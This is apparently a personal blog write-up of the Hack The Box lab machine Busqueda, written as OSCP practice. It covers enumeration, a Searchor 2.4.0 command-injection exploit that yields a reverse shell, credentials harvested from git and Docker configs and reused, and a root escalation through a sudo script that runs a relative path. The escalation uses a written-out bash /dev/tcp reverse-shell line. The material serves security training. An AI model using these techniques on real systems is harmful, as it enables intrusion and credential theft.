![[bus14.png]]
# Overview
[Busqueda](https://app.hackthebox.com/machines/Busqueda)
Hello everyone! This will be the first in a long list of writeups that I plan to make covering all of the machines listed on [TJ Null's OSCP PWK V3](https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#) list. I will be starting with Busqueda and moving on to Escape and plan on jumping back and forth between Windows and Linux before I make it to the Active Directory machines and finally the "challenging" machines. I hope you enjoy this writeup and learn something like I did!
## Enumeration
Initial Nmap Scan:
```
$ nmap -sC -sV 10.129.228.217
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-16 19:18 CST
Nmap scan report for 10.129.228.217
Host is up (0.077s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds
```
Web server running on Port 80. SSH running on Port 22 is also open. Added `searcher.htb` to hosts file on Parrot VM.
```
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 debian12-parrot
10.129.228.217 searcher.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-dxtcrjyvcu htb-dxtcrjyvcu.htb-cloud.com
```
![[bus1.png]]
The webserver is hosting an application called **Searcher** which claims to be a search engine for social media and other related websites. There is an option to select an "engine" and a text field in which you can type a search query.
![[bus2.png]]
![[bus3.png]]
Not knowing where to go from here, I decided try to enumerate the application further by performing a banner grab with curl. The the `-I` flag will fetch the header.
```
$ curl -I http://searcher.htb/
HTTP/1.1 200 OK
Date: Sun, 17 Nov 2024 01:48:04 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Content-Length: 13519
```
We can see now that the server appears to be running a Python application called `Werkzeug` version `2.1.2`. I have not heard of this Python application before so let's dig around and see what we can find on Google.
![[bus4.png]]
Towards the bottom of the entry for the Werkzeug library it mentions something called **Flask** using Werkzeug to handle the details of WSGI. If we scroll to the bottom of the Searcher webpage we can see that it is using Flask along with something called **Searchor** version `2.4.0` which I had also never heard of.
![[bus5.png]]
Looking at the GitHub repository page for **Searchor** it apparently describes itself as "an all-in-one PyPi Python Library that simplifies web scraping, obtaining information on an topic, and generating search query URLs."
![[bus6 1.png]]
If we look at some of the examples it provides, they look eerily similar to some of the search requests we generated earlier without checking the "Auto redirect" box.
Searchor example Quick Start usage.
```python
>>> from searchor import Engine
>>> Engine.Google.search("Hello, World!"))
'https://www.google.com/search?q=Hello%2C%20World%21'
```
## Initial Access
Let's Google and see what we can find for **Searchor** and potential vulnerabilities/exploits. I just searched "searchor vulnerabilities" in Google and came across a GitHub page for an Arbitrary CMD Injection exploit for **Searchor** version `2.4.0` which, as we remember, is the same version that the Searcher web application is currently running. This looks promising so let's go ahead and download the `exploit.sh` script to our machine.
https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection
Once you have the exploit.sh script downloaded to your machine, remember to make sure the file permissions are correct by running `ls -la exploit.sh` and to make it an executable by running `chmod +x exploit.sh` before finally executing it. Once those steps are complete, let's go ahead and launch a Netcat listener in another terminal window. The default port for this script is `9001` however if you would like to use a different port make sure you have your Netcat listener set to that port and to specify that port when you run the script. After we have everything ready to go, let's go ahead and give this script a shot!
```
#./exploit.sh searcher.htb 10.10.14.3
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.14.3:9001
[*] Run the Reverse Shell... Press Ctrl+C after successful connection
```
The script successfully ran and is hanging...let's check our terminal running Netcat!
```
listening on [any] 9001 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.228.217] 52048
bash: cannot set terminal process group (1548): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ whoami
whoami
svc
svc@busqueda:/var/www/app$
```
Now let's see if we can locate the `user.txt` file in the `svc` account's home directory.
```
svc@busqueda:/var/www/app$ find /home -name user.txt
find /home -name user.txt
/home/svc/user.txt
```
Bingo! Alright, now that we have successfully made our way onto the target...we now need to figure out a way to escalate our privileges and acquire the `root.txt` flag.
## Privilege Escalation
The first step I take after gaining access to a target is always to run `sudo -l` to see if there are any commands that we can run as root. However, this was unsuccessful as a password was required...let's see what we can find in our landing directory.
Let's take a look inside the `/var/www/app` directory for any interesting files.
```
svc@busqueda:/var/www/app$ ls -la
ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 .
drwxr-xr-x 4 root root 4096 Apr 4 2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Nov 17 01:13 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
```
Within the directory we notice a Python script called `app.py` and a directory called `.git` and one called `templates` - let's go ahead and check these out. Once we're in the .git directory we list out the contents and see a list of various files. Not knowing what to look for I just displayed the contents of each file until I found something that was worth taking note of.
```
svc@busqueda:/var/www/app/.git$ ls -la
ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Nov 17 01:13 .
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 ..
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 branches
-rw-r--r-- 1 www-data www-data 15 Dec 1 2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data 294 Dec 1 2022 config
-rw-r--r-- 1 www-data www-data 73 Dec 1 2022 description
-rw-r--r-- 1 www-data www-data 21 Dec 1 2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 hooks
-rw-r--r-- 1 root root 259 Apr 3 2023 index
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec 1 2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec 1 2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec 1 2022 refs
```
Displaying the contents of the config file we some interesting information contained within including a link, a name, and a possible subdomain for the `searcher.htb` site called `gitea.searcher.htb`.
```
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:
[email protected]/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
```
Once we add the `gitea.searcher.htb` subdomain to our `/etc/hosts` file we can access it in our browser and we are met with this webpage.
![[bus8.png]]
Gitea appears to be a self-hosted Git service and so this presents us with some interesting questions. Let's see if we can find the `cody` user's Gitea repository.
![[bus9.png]]
Nothing there...now let's see if we can log into the Gitea site using the `cody` user's credentials that we found in the config file on the server. Looks like that worked! Now we can see the Searcher application on cody's Gitea page along with the `app.py` Python script we saw inside the `/app` directory earlier. However, even more interestingly, we see a commit from a different user with the name `administrator` - let's check to see what they were doing.
![[bus10 1.png]]
After looking around a bit on the Gitea page...I struggled to come across anything that I felt like would be helpful. Going back to our shell as the svc user...let's look around some more and see if we missed anything that might give us a potential vector. I dug through `/tmp`, `/etc`, & `/bin` looking for anything that stood out but came up with nothing. I then decided to go back to the svc user's folder in `/home` and after running an `ls -la` we see there is a `.gitconfig` file hiding. After displaying the contents of the file we see that it appears to imply that the `svc` user is the `cody` user...which means that there is a chance that the password we found in the config file in the `/var/www/app/.git` directory is also the `svc` user's password.
```
svc@busqueda:/var/www/app$ cat /home/svc/.gitconfig
[user]
email =
[email protected]
name = cody
[core]
hooksPath = no-hooks
svc@busqueda:/var/www/app$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
```
Now we're talking! After running `sudo -l` we see there is ascript in the `/opt/scripts` directory called `system-checkup.py` - If we view the permissions for the file we see that we cannot read or execute the script in the way that we normally could with other files.
```
svc@busqueda:/opt/scripts$ ls -la system-checkup.py
-rwx--x--x 1 root root 1903 Dec 24 2022 system-checkup.py
```
When we ran the `sudo -l` command we also see that there is an asterisk at the end of the line which means in order to run the script we need to add specific arguments to it. However, we currently have no idea what arguments we need to add for this script. Let's try adding a random argument to the end of the command and see if we get any output that might point us in the right direction.
```
svc@busqueda:/opt/scripts$ sudo python3 /opt/scripts/system-checkup.py --help
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
```
Hey! Looks like we got some output indicates we have a few different arguments we can run with this script. I ran `docker-ps` first and discovered that there appear to be 2 different Docker containers currently running.
```
<sudo python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 22 months ago Up 3 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 22 months ago Up 3 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
```
When attempting to to run the script with the `docker-inspect` command we see that it requires both the name of the container and a format. Not knowing what format to use...I decided to Google to see if there is any documentation for this `docker-inspect` command that might help us.
https://docs.docker.com/reference/cli/docker/inspect/
https://docs.docker.com/engine/cli/formatting/
I came across the official documentation for the `docker-inspect` command and it looks like there is a way to use JSON to select what the want from the target container using the --format option. I tried doing this with the following command using the "." selector and selecting the `gitea` container and received a massive unstructured JSON output.
```
system-checkup.py docker-inspect '{{json .}}' gitea
```
I Googled around and found a pipe named `jq` which will allow you to pipe unstructured/unformatted JSON output to it and display it in a readable format. I added `| jq` to the end of the command and was able to get some nicely formatted JSON output that we can now parse for useful information.
![[bus11.png]]
Scrolling through the JSON output we see some interesting entries that appear to be credentials for the mysql database container that we saw earlier when running the script with the docker-ps argument.
```
system-checkup.py docker-inspect '{{json .}}' mysql_db | jq
```
Let's run the script again with the same arguments for docker-inspect and see if we cant find any other information that might point us to where we can connect to this database.
![[bus12.png]]
Scrolling down to the very bottom we find what appears to be an IP address `172.19.0.3` for the `mysql_db` docker container. We will now need to attempt to connect to this database and authenticate using the credentials we discovered from the `gitea` container.
I had to do some Googling to find the correct syntax for this command but with a little trial and error and being confused that there is not supposed to be a space between the `-p` argument and the actual password I was able to successfully connect to the mysql_db container!
```
mysql -h 172.19.0.3 -u gitea -pyuiu1hoiu4i5ho1uh gitea
```
```mysql
mysql> select name from user;
+---------------+
| name |
+---------------+
| administrator |
| cody |
+---------------+
2 rows in set (0.00 sec)
mysql>
```
After this I decided to run show columns from user; and I noticed there is an email and passwd field that may be useful to us...let's see if they contain any information.
```mysql
mysql> select name,email,passwd from user;
+---------------+----------------------------------+------------------------------------------------------------------------------------------------------+
| name | email | passwd |
+---------------+----------------------------------+------------------------------------------------------------------------------------------------------+
| administrator |
[email protected] | ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 |
| cody |
[email protected] | b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e |
+---------------+----------------------------------+------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
```
It now looks like we have the email and password for the administrator account. Let's go back to the Gitea page where we previously were logged in as Cody and attempt log back in as the administrator account with the newly discovered password. I ran another `mysql>` command this time adding the `passwd_hash_algo` field in order to see what algorithm these passwords are being hashed with. After doing these, we see that they have been hashed with the `pbkdf2` algorithm.
I attempted to crack the administrator's password with a few different techniques however these were unsuccessful. Knowing that we had a couple of other credentials already for the `cody/svc` user and the gitea user on the `mysql_db` container, I decided to try all of these and discovered I was able to successfully log into the Gitea site as the administrator user with the Gitea user's credentials for the `mysql_db` container!
![[bus13.png]]
After we dig around the `administrator` user's Gitea page we find the `system-checkup.py` script in the `scripts` repo. Remember, this is the script that we were allowed to run as root when we ran `sudo -l` after getting the password for the `svc` account.
```python
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
```
There is a section of the script that stands out...the `full-checkup` argument for the `system-checkup.py` script appears to attempt to execute a file in the current directory. This means that if we create a file called `full-checkup.sh` and add a command to it...due to the way processes inherit privileges in Linux, we can use this as a way to escalate our privileges. The easiest thing for me is to add a command to spawn a reverse shell, so lets try that.
```
bash -i >& /dev/tcp/10.10.14.3/1337 0>&1
```
Do not forget to make your new `full-checkup.sh` script executable with `chmod +x` before running the `system-checkup.p`y script otherwise it will not run!
```
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.228.217] 42080
root@busqueda:/home/svc#
```
We are finally finished! This was a fun but somewhat challenging room for me even as an "easy" ranked machine, but we persevered and made it to the end!
## Conclusion
For an "easy" ranked machine...I struggled quite a bit with it which is always a little bit discouraging for someone who is considering an OSCP exam attempt. This is apparently one of the easier machines on the TJ Null list of OSCP-like Linux machines. Even though I did get stuck at a few points I am happy to have gotten through it and happy that I learned a ton about different Linux privilege escalation vectors in particular. I will also remember to try reusing passwords next time...if I had done that I would have definitely saved myself a ton of time at multiple points.
Oh well, on to the next one I guess! My next machine will be a Windows machine, likely "Escape" and I will continue to jump back and forth between Windows and Linux machines before I start on the Active Directory machines and finally the "challenging" machines which I have no faith in myself currently to pwn. Thanks for reading!
https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#